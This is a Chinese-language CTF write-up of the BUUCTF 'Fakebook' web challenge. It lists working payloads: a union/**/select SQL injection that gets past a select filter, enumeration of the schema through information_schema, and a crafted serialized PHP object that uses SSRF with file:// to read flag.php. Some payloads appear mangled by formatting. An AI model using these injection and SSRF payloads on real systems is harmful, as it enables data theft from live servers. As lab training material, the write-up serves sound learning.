buuctf-web方向--ssrf+sql+dirscan

[网鼎杯 2018]Fakebook
首先,扫描该网站
利用dirsearch进行扫描获取robot.txt,从中发现源码备份/user.php.bak下载后可读取源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = **curl_exec**($ch);//由此发现存在ssrf注入
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

由curf_exec()发现存在ssrf注入(关于ssrf参考 https://blog.csdn.net/qq_48904485/article/details/123653514

之后,注册(join)一个账号,注意此处blog指blog网址,需要填一个网址的格式。
返回后发现,增加了注册信息

点进去后发现有一处传参点

查看源代码后也没有找到相关提示,但是发现一个可能存在为协议读取的可能

赋值该链接后的内容,进行base64解密,发现是百度页面的html码,

猜测最终可以从这里读取flag文件
尝试对该传参点进行注入,输入 no=1 and 1=1#后输出正常,

但是输入1 and 1=2#后出现报错

所以存在数字型注入

修改paylod 利用 order by 确定列数为4,on=1 order by 4#

而后尝试用select进行查询出现报错,测试后发现是对select进行了过滤,后来尝试利用updatexml,show database等方法均被过滤

考虑用handler句柄进行读取,但是读不到数据库名,放弃,后来查询题解后发现可以用 no=1 union/**/select 1,2,3,4#进行绕过
详细参考 https://blog.csdn.net/weixin_45785288/article/details/109680228 第八点

而后按照正常的爆破方式进行爆破尽可以查询到flag
后续的payload如下
no=0%20union//select%201,database(),3,4# 得到库名 fakebook
no=0%20union/
/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()# 得到表名 user
no=0%20union//select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27#
得到以下列名

其他的都可以理解,其中data不明白是什么可以进行查询试试
?no=0 union/
/select 1,data,3,4 from users
得到了一下序列化后的对象

利用ssrf进行读取flag
/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

由链接获取到flag的base64值,解密获取值

成功获取flag

posted @ 2023-01-10 22:07  比奇堡的黄色小海绵  阅读(83)  评论(0)    收藏  举报